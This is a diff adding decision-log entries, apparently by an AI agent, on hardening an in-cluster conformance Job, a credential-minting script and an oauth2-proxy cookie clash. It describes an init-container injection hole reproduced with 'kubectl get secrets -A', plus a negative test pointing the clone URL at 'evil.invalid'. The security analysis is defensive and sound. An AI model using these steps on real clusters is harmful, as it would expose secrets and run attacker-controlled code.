+check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
+`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
+verified; its transport over `kubectl logs` from a real Pod is not.**
+
+### Gate
+
+Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
+`.git`, per CLAUDE.md §3):
+
+    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
+    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
+    spec-immutability: green
+    decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
+                            2 entries well-formed — this one included)
+    lint: green            (404 files)
+    l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
+                            0 failures, 0 skips, 0 unwired)
+    render-golden: green   (10 onboarded service goldens reproduce)
+    l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
+    gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
+    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
+      Stages that did not run: gitea-settings
+    rc 3
+
+Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
+says nothing about Gitea's branch protection or runner registration, and the seven touched
+requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
+itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
+merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
+(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
+well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
+eye — though that stage checks *structure*, never whether any claim inside it is true.
+
+### The `approval-policy` check this PR was expected to fail does not exist
+
+I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
+security-relevant. **That check does not exist.** Measured rather than assumed:
+
+    grep -rn approval .gitea/workflows/     ->  no match
+    GET /repos/.../branches/main
+      protected                    True
+      user_can_push                False
+      enable_status_check          True
+      status_check_contexts        ['gate / gate (pull_request)']
+      required_approvals           1
+    GET /repos/.../commits/<head>/statuses
+      success   gate / gate (pull_request)          Successful in 1m36s
+      pending   gate / conformance (pull_request)   Blocked by required conditions
+
+The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
+that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
+approval policy in CI anywhere in this repo.** What actually stops this merging is
+`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
+self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
+by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
+
+**Consequence worth acting on:** a change under `conformance/**` — including a change to the
+admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
+path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
+policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
+`paths:`-scoped required check would be the mechanism; neither exists today.
+
+The PR was **not merged** and nothing was worked around.
+
+### Process note, worth more than the policy fix
+
+Both halves of the security finding came from **probing rather than reading**. The hole was not
+visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
+explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
+policy is only as trustworthy as its negative fixtures.
+
+### Addendum — rebased onto `main` after #18 landed (2026-09-29)
+
+This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
+`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
+file (see `decisions/README.md`).
+
+The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
+where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
+`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
+`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
+
+One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
+carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
+["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
+in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
+`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
+`main` documenting an open hole that had just been closed, which is the same
+documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
+rebase: every file but that README is byte-identical to the pre-rebase tip.
+
+## What I did NOT verify
+
+- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
+  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
+  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
+  all **unexercised**. The envelope itself is verified; its transport is not.
+- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
+  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
+  if the path were missing or named differently the init container would fail to start, and if the
+  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
+  image has been built or pushed, so the digest this branch pins still resolves to nothing.
+- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
+  name is referenced here.
+- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
+  not been built. If the Containerfile picks a different uid, the Job will not start.
+- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
+  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
+  assertion turns that into a loud failure rather than a wrong-tree run.
+- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
+  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
+  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
+  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
+  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
+  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
+  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
+  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
+  the rule should stay either way.
+- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
+  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
+  trigger identity in a live admission request.
+- **Admission was never exercised by a real API server** — only by `kyverno apply` against
+  manifests. A policy that a CLI accepts can still behave differently once installed.
+- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
+  there is deliberately partial, not complete.
+- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
+  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
+  reviewed change. That is the intended failure direction, but it is a coupling the next person
+  editing either script needs to know about, so it is called out in the rule's message.
+- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
+  branch changes nothing about what CI does today.
+- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
+  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
+  runtime behaviour.
+- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
+  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
+  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.

decisions/2026-09-29-conformance-runner-image.md

@@ -0,0 +1,258 @@
+---
+date: 2026-09-29
+branch: feat/conformance-runner-image
+title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
+[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
+merged** — an agent cannot, and should not.
+
+### The defect, stated plainly
+
+`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
+`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
+and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
+have failed at exec of `./run.sh` before a single test ran, and the only place that would have
+surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
+it in the archive: a manifest that *described* a working mechanism, with nothing measuring
+whether the mechanism existed.
+
+### What landed
+
+- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
+  chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
+  fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
+  `fedora-minimal` and carries no downloader).
+- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
+  prints the digest, and **never pushes**.
+- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
+  addendum below).
+- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
+- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
+  `image:`.
+
+`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
+and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
+Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
+forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
+
+Two things the admission boundary forced, both of which would otherwise have been discovered
+at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
+reject a named user), and every writable path must live under `/workspace` (the pod is
+`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
+`safe.directory` is therefore written to `/etc/gitconfig` at build time.
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
+
+### The chainsaw supply-chain gap, stated accurately
+
+The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
+URL". Literally true, and misleading: it reads as "no integrity option exists". The release
+assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
+each tarball. So verification IS available; it needs cosign in the builder stage and the right
+keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
+sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
+Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
+decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
+same gap for the same binary.
+
+### Addendum — `/usr/local/bin/conformance-clone`
+
+Added at the coordinator's request, to close half of the admission gap a sibling agent found:
+the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
+from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
+arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
+author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
+`kubectl get secrets -A`).
+
+The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
+replace the one executable the policy will come to trust. Clone logic taken from PR #20's
+`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
+`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
+accepted.
+
+**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
+taken from the environment.** The brief said to take SHA, repo URL and target dir from the
+environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
+script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
+trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
+the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
+vars are still read so the Job template stays self-documenting, but a value that disagrees with
+the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
+is the SHA.
+
+**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
+path *required* rather than merely *available* is a 4th policy rule demanding
+`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
+rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
+branch. Until it lands, the hole is open.
+
+The anonymous-clone fallback is deliberate and announced in the script's log line: read access
+to this repo needs no credential today, the integrity guarantee here is the SHA assertion
+rather than the credential, and requiring the Secret would have made the script untestable
+without one.
+
+### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
+
+`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
+selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
+`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
+the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
+offline in the same CI run.
+
+So **the plan's own invocation shapes do not work on this image.** `--layer all
+--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
+documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
+must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
+to nothing.
+
+**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
+layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
+checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
+documented in the Containerfile header and the incluster README so it cannot be rediscovered
+from a pod log.
+
+### Follow-ups this creates
+
+1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
+   `CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
+   not the local manifest digest the build printed.
+2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
+   wildcard with the literal digest, closing the residual "anyone who can push to this path"
+   gap. Separate, human-reviewed PR — it edits the security boundary.
+3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
+   carrying an image reference that admission would deny.
+4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
+   Without it, `conformance-clone` is available but not required, and the injection hole is
+   still open.
+
+### Rework note — why this entry is a file and not an append
+
+This branch originally carried its handoff as a ~236-line append to the tail of
+`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
+and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
+its substance moved here verbatim in meaning; the branch now touches no file outside
+`conformance/`. Nothing about what the code claims to have proven was changed by that move.
+
+## What I verified
+
+### The image, by running it — not by a green build
+
+As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
+(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
+non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
+`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
+`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
+in-image verification still passed.
+
+### The init-container clone path, end to end
+
+From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
+`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
+notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
+HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
+anonymous read is currently open — the plan's read-only deploy token buys authorisation
+hygiene, not reachability.
+
+`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
+`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
+exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
+instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
+**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
+workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
+SHA, with `rev-parse HEAD` proven equal to the requested SHA.
+
+Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
+matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
+checks were written as pipelines, which under `pipefail` aborted the verify at the first
+expected failure and silently skipped the remaining six. A verify that stops early looks
+identical to a verify that passed.
+
+### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
+
+My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
+`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
+checking it. It is not true:**
+
+| Claim | Measured |
+|---|---|
+| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
+| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
+| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
+
+What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
+and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
+a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
+agent still cannot merge" send a reviewer to different places. Left in as a correction rather
+than quietly deleted.
+
+### What PR #18's CI actually did, read out of the job log
+
+Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
+because a skipped Gitea job reports `success`:
+
+    [skip] stage spec-immutability: SKIPPED (not run)
+    [ ok ] stage lint: pass
+    [ ok ] stage l0: pass
+    [ ok ] stage render-golden: pass
+    [ ok ] stage l1: pass
+    [ ok ] stage gitea-settings: pass
+    [skip] stage conformance: SKIPPED (not run)
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+
+`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
+by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
+`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
+that stage can only skip. That measurement predates this rework's force-push; CI has not been
+re-read since.
+
+### The gate, on the reworked branch, today
+
+    ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    → rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
+
+    [ ok ] spec-immutability   [ ok ] decisions-log   [ ok ] lint
+    [ ok ] l0                  [ ok ] render-golden   [ ok ] l1
+    [skip] gitea-settings      (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    [skip] conformance         (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
+    Stages that did not run: gitea-settings
+
+`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
+frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
+Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
+Touched requirements resolved to
+`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
+is **not** a green run and is not offered as one.
+
+### The rework itself
+
+`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
+file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
+is empty, so the code is byte-identical to the pre-rework tip, file modes included
+(`build-image.sh` and `conformance-clone` both `100755`).
+
+## What I did NOT verify
+
+- **The image has never run in the cluster.** Everything above is local podman. Admission has
+  not been exercised against it, because there is no digest to reference yet.
+- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
+  purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
+  like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
+  operator action — `build-image.sh` prints the exact commands.
+- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
+  change what the branch claims to have proven, so no build was run; the image measurements
+  above are the ones taken when the code was written, against this same code.
+- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
+  The cosign path is named as a TODO, not implemented.
+- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
+  The initContainer injection hole is open until that separate PR lands.
+- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
+  prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
+  at L2/L3.
+- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
+  registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
+  earlier, against the pre-rework head.
+- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
+  quoted above is from run 128 on the old head.

decisions/2026-09-29-conformance-trigger-kubeconfig.md

@@ -0,0 +1,125 @@
+---
+date: 2026-09-29
+branch: feat/conformance-trigger-kubeconfig
+title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
+---
+
+## What changed
+
+Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
+`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
+changing Gitea variables are operator actions; nothing was minted, no Gitea object was
+written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
+not about the platform.
+
+*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
+**only that token** with the cluster CA and server into a kubeconfig, stores it as the
+Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
+prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
+precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
+argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
+under `set -x`.
+
+*The design decision worth reviewing: TWO precondition classes.*
+
+- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
+  `conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
+  fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
+  `serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
+  `conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
+  (plan §4); minting before the boundary is live would hand CI the escalation the boundary
+  exists to close.
+- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
+  plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
+  referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
+  variable, because storing the secret early is harmless and is the plan's own order.
+
+**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
+`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
+skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
+names the trigger kubeconfig only in its TODO comment). So on a live run today the script
+would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
+missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
+work that unblocks it.
+
+*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
+HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
+the object back. For the secret that is presence-by-name only (Gitea never returns secret
+values) and the script says so rather than implying the content was checked; for the variable
+it asserts the value reads back as exactly `true`.
+
+*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
+detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
+`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
+closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
+(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
+local-run environment variable, never as CI wiring, because the secret that would feed it
+cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
+it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
+secret `GITEA_SETTINGS_TOKEN`, which is impossible.
+
+*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
+`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
+PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
+`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
+`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
+commits; the commit that contained only the log append was dropped and its substance folded
+in below.
+
+## What I verified
+
+*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
+must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
+round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
+(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
+pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
+`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
+says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
+property of the code as read, not of an execution.
+
+*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
+this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
+security-relevant. Measured on the PR head commit's `/statuses`:
+
+    gate / gate (pull_request)          success   Successful in 1m34s
+    gate / conformance (pull_request)   pending   Blocked by required conditions
+
+`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
+**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
+paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
+actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
+believed to exist because a brief said so. If the policy is intended, it is missing and needs
+its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
+script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
+
+*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
+plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
+Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
+`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
+green; the gate decision names exactly one stage that did not run — `gitea-settings`
+(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
+`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
+`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
+file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
+`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
+
+## What I did NOT verify
+
+**The script has never executed.** Not one line of it has run against Gitea or against the
+cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
+shellcheck stage in the gate.
+
+- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
+  is from **documentation, not measurement**. The script tries POST then falls back to PUT,
+  prints the response body on failure, and treats the read-back as the authority.
+- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
+  and treats "neither present" as a block rather than assuming ready — but which form this
+  cluster actually reports is **unmeasured**.
+- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
+  known from here** — hence `--server`, and a hard refusal on a loopback address.
+- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
+  set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
+  is read from the RBAC and the script, not observed.
+- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
+  here is evidence about runtime behaviour.

decisions/2026-09-29-crafty-oauth2-proxy-signin.md

@@ -0,0 +1,123 @@
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
+---
+
+## What changed
+
+Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
+signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
+own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
+identity headers, so it presents its own local login to an already-authenticated user. That second
+factor is intended. What was not intended — and what made the service genuinely impossible to set
+up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
+first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
+`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
+fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
+asserted the double login was "expected, not a bug" and then left the reader with no way forward —
+the assertion was true and useless in the same sentence.
+
+So this branch:
+
+- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
+  retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
+  runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
+  actually resolves rather than the file merely existing.
+- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
+- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
+  oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+  `.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
+  proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
+  authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
+  straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+  symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
